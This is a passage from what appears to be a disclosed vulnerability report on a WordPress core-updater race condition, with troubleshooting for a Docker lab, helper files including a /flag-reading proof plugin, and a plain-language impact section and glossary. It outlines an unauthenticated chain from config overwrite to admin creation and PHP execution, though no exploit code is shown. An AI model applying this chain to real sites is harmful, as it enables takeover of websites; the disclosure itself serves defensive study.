If the response says it needs wp-config-sample.php, copy main/wp-config-sample.php into the container and assign it to www-data as shown in Step 4.

HTTP 500 means "internal server error": the server tried and failed. Here it usually means a required file is missing.

/ returns HTTP 500 after initial installation

If the response says WordPress is running without built JavaScript/CSS files, the raw source-tree index.php is still active. Copy _index.php over index.php as shown in Step 4. This mirrors the relevant production-build output for the PHP-only lab.

JavaScript and CSS are the files that make a web page interactive and styled. The development index.php is a placeholder that complains they are missing.

Updater displays an FTP credentials form and logs end result=false

The updater runner was executed as root while the target tree belongs to www-data. Run the helper with:

PowerShell
docker exec --user www-data ...

--user www-data runs the command as the web server user instead of root. "Root" is the all-powerful administrator account on a Linux system.

If a previous root run created /tmp/audit-bj-update.log, repair its ownership before retrying:

PowerShell
docker exec wp-race-web chown www-data:www-data /tmp/audit-bj-update.log

chown changes who owns a file. This makes the log writable by the web server user again.

copy_failed_copy_dir_retry: Could not copy file

Check the live config first: the configuration overwrite may already have succeeded before a later file failed. In the observed lab, root-owned wp-config-sample.php caused the later error. Assign the sample file to www-data before building the package to obtain a clean successful update.

This is a useful reminder: a later error does not mean the attack failed. The important overwrite may already have happened.

Shell reports DB_HOST: not found or table_prefix: not found

PowerShell interpreted the pipe characters in a nested sh -lc regex. Use separate grep -e arguments as shown in Step 10.

The pipe character | has special meaning in a shell, so it must be avoided inside nested commands.

Plugin-upload nonce is empty

Confirm that the cookie file exists, contains wordpress_test_cookie, the login returns HTTP 302, and the jar contains wordpress_logged_in. Step 13 deliberately makes each condition visible.

If any of those four checks fails, the login did not really work, so the upload page has no nonce.

Plugin upload returns HTTP 500 and the plugin URL returns 404

The checksum simulator may still be registered as api.wordpress.org. Its checksum JSON is not a valid plugin-update response and can cause array_walk(null) in the admin update path. Complete Step 11 before visiting plugin administration pages.

JSON is a common text format for structured data. array_walk(null) is a PHP error caused by trying to loop over something that is not a list. The fake API answers checksum questions but not plugin-update questions, so it must be switched off first.

8. Validation helpers

  • audit-bj-build-package.php: builds the full nested wordpress/ package.
  • audit-bj-package-response.php: supplies the stable Content-Disposition filename.
  • audit-bj-checksum-router.php: supplies the 300 ms checksum response.
  • audit-bj-run-core-update.php: invokes Core_Upgrader and logs its phases.
  • audit-bj-plugin.zip: prebuilt one-file /flag reader.
  • audit-bj-build-plugin.php: source builder for the proof plugin.
  • audit-bj-flag.txt: disposable local /flag fixture.

All PHP helpers passed php -l validation in an isolated PHP container.

php -l is PHP's built-in syntax check: it reads a file and reports whether the code is valid without running it.

The package responder, checksum router, updater runner, and /flag fixture are lab instrumentation. The vulnerable package extraction, nested setup, checksum iteration, root copying, configuration selection, installer, and plugin upload behaviour remain the unmodified target code.

"Instrumentation" means test equipment: helpers that make the lab easier to run. The important point is that the vulnerable behaviour being demonstrated is the real WordPress code, not something the helpers invented.

Impact

Successful exploitation changes the live site's database trust boundary without prior authentication. The attacker gains control of the site's first-install state, creates an administrator, and reaches PHP execution through the ordinary plugin-upload facility. Existing victim database contents remain in the original database, but the live application stops using them while the malicious configuration is present.

"Trust boundary" is the line between what a system trusts and what it does not. Here the line is the configuration file: whoever controls it decides which database the site trusts. The original data is not deleted, but the live site no longer looks at it, which is still a serious takeover of the running site.

Glossary

  • API: a way for one program to ask another for information in a structured format.
  • Apache: a common web server program that serves web pages and runs PHP.
  • Authentication: proving who you are, usually with a username and password.
  • Basename: the final part of a file path, the file or folder name itself.
  • Beta: an early test version released before the final one.
  • Bootstrap: to start a program up so it can run on its own.
  • Capability: a permission inside WordPress, such as the right to manage options.
  • CDN: content delivery network, a set of servers that serve files quickly around the world.
  • Checksum: a fingerprint of a file used to check it was not corrupted or tampered with.
  • Container: an isolated runtime environment created by Docker, like a lightweight virtual machine.
  • Cookie: a small piece of data a site asks your browser to store and send back later, used to remember you.
  • Cookie jar: a file that stores cookies between requests.
  • Core updater: the WordPress feature that installs new versions of WordPress itself.
  • Cron: scheduled background work that runs automatically.
  • CSPRNG: cryptographically secure pseudo-random number generator, a random generator whose output cannot be predicted.
  • CSS: the language that controls how web pages look.
  • Database: organised storage for data, here users, posts and settings.
  • Deterministic: predictable, always producing the same result from the same input.
  • Directory listing: a web page that shows the contents of a folder.
  • Docker: software that runs programs in isolated containers.
  • Endpoint: a specific URL that a program answers.
  • Exclude list: a list of files or folders to leave alone during a copy.
  • FTP: an old file transfer protocol; WordPress falls back to it when it cannot write files directly.
  • GET: an HTTP request that asks for a resource, usually a page or file.
  • HEAD: an HTTP request that asks for headers only, without the body.
  • Header: a line of metadata in an HTTP request or response, separate from the body.
  • Hostname: the name of a machine on the internet, such as downloads.w.org.
  • HTTP: the protocol browsers and servers use to exchange web pages and data.
  • JavaScript: the language that makes web pages interactive in the browser.
  • JSON: a common text format for structured data.
  • Localized package: a WordPress package translated for a particular language and region.
  • Maintenance mode: the temporary state where a site shows a "down for maintenance" message during an update.
  • Metadata: data about data, such as information about which packages exist.
  • MySQL: the database software WordPress uses.
  • Nonce: number used once, a short random token added to forms to prove the request came from the site itself.
  • Overwrite: to replace an existing file with another.
  • Partial package: an update package containing only the files that changed.
  • PHP: the programming language WordPress is written in and that the web server executes.
  • PoC: proof of concept, a demonstration that proves a vulnerability is real.
  • Port: a numbered channel on a computer that network services listen on.
  • POST: an HTTP request that sends data, usually from a form, in the request body.
  • PowerShell: the command-line shell built into Windows.
  • Proxy: an intermediary server that fetches things on your behalf.
  • Race condition: a bug that depends on timing, where two actions must happen in a particular order.
  • Redirect: a server telling the client to go to a different address instead.
  • Release candidate: a version considered nearly ready for release.
  • Remote code execution: making a server run code of your choosing from a distance.
  • REST: a style of web API using standard HTTP requests.
  • Rollback package: a package used to undo an update and return to an earlier version.
  • Root: the all-powerful administrator account on a Linux system.
  • Sanitise: to clean input by removing characters that could be dangerous.
  • Snapshot: a list of what exists at a particular moment.
  • SQL: the language used to talk to databases.
  • Table prefix: a short string put in front of every database table name so several sites can share one database.
  • Trust boundary: the line between what a system trusts and what it does not.
  • Unauthenticated: without logging in or proving an identity.
  • WebDAV: a file-sharing protocol that runs over HTTP.
  • WordPress: a popular program for building websites, written in PHP and backed by MySQL.

More from WordPress

View all

The newest disclosed reports for this program.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.